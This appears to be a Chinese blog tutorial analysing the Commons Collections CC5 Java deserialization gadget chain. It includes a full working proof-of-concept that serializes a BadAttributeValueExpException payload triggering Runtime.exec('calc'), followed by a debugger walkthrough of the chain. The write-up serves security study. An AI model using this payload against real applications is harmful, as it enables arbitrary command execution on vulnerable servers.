close


0x00 前言

在後面的幾條CC鏈中,如果和前面的鏈構造都是基本一樣的話,就不細講了,參考一下前面的幾篇文。

在CC5鏈中ysoserial給出的提示是需要JDK1.8並且SecurityManager需要是關閉的。先來介紹一下SecurityManager是幹嘛的。SecurityManager也就是java的安全管理器,當運行未知的Java程序的時候,該程序可能有惡意代碼(刪除系統文件、重啟系統等),為了防止運行惡意代碼對系統產生影響,需要對運行的代碼的權限進行控制,這時候就要啟用Java安全管理器。該管理器默認是關閉的。



0x01 POC分析

package com.test;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;public class cc5 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5")); outputStream.writeObject(poc); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } }}

前面的上半段和CC1鏈是一模一樣的,主要來分析在這兩者中不同的部分。

HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap);

前面的new了一個HashMap傳入到LazyMap裡面,同時也傳入了ChainedTransformer實例化對象,當調用get方法的時候,就會調用到ChainedTransformer的transformf方法,這個沒啥好說的,老面孔了。前面也分析過好幾回了。主要的是下面的這一段代碼。

TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap);

TiedMapEntry是一個新生面孔,來查看一下該類源碼。

該類的構造方法需要2個參數。所以我們的POC代碼中,傳入了一個LazyMap實例化對象和一個123的字符做占位。

而在getValue方法裡面就會去調用到剛剛賦值的map類get方法。前面我們傳入的是LazyMap對象,這時候調用get方法的話,就和前面的串聯起來達成命令執行了。這裡先不做分析,來到下一步,查看一下,哪個地方會調用到該方法。

而在toString方法裡面就會去調用到getValue方法。

BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap);

再來看下面一段代碼,new了一個BadAttributeValueExpException的對象,並且反射獲取val的值,將val的值設置為TiedMapEntry實例化對象。

在BadAttributeValueExpException的readObject方法會獲取到val的值,然後賦值給valObj變量,然後調用valObj的toString方法。



0x02 CC5鏈調試

在readObject複寫點打個斷點,也就是BadAttributeValueExpException的readObject方法。

上面斷點的地方會去獲取val的值,賦值給valObj,前面我們使用反射將val設置為TiedMapEntry的對象。

這裡會去調用valObj的toString方法,也就是TiedMapEntry的toString方法。跟進一下該方法,查看調用。

這裡面會去調用getKey和getValue方法,這裡選擇跟蹤getValue方法。

這裡的this.map為LazyMap實例化對象,是在創建TiedMapEntry對象的時候傳參進去的。再跟進一下get方法就和前面調試CC1鏈的步驟一樣了。

這裡會去調用this.factory的transform,也就是ChainedTransformer的transform。再來跟進一下。

接着就是遍歷調用數組裡面的transform方法。第一個值為ConstantTransformer,會直接返回傳參的值。

這裡返回的是Runtime,將該值傳入第二次的參數裡面調用transform方法。

第二次遍歷的值是InvokerTransformer對象, 這裡的transform方法會反射去獲取方法並且進行執行。第二次執行返回的是Runtime.getRuntime的實例化對象。再傳入到第三次執行的參數裡面去執行。

第三次去執行則是獲取返回他的invoke方法,傳入給第四次執行的參數裡面。

第四次執行裡面的this.iMethodName為exec,this.iArgs為calc。執行完成這一步過後就會去執行我們設置好的命令,也就是calc。彈出計算器。



調用鏈

BadAttributeValueExpException.readObject->TiedMapEntry.toString->LazyMap.get->ChainedTransformer.transform->ConstantTransformer.transform->InvokerTransformer.transform->Method.invoke->Class.getMethod->InvokerTransformer.transform->Method.invoke->Runtime.getRuntime-> InvokerTransformer.transform->Method.invoke->Runtime.exec



0x03 結尾

其實在該鏈的後面中,並沒有寫太詳細,因為後面和CC1鏈中的都是一模一樣的。如果沒有去調試過的話,建議先去調試一下CC1的鏈。


- 結尾 -
精彩推薦
【技術分享】針對Office宏病毒的高級檢測
【技術分享】Tomcat 內存馬技術分析— Filter型
【技術分享】ZN600電信光貓分析 — 研精鈎深
戳「閱讀原文」查看更多內容
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()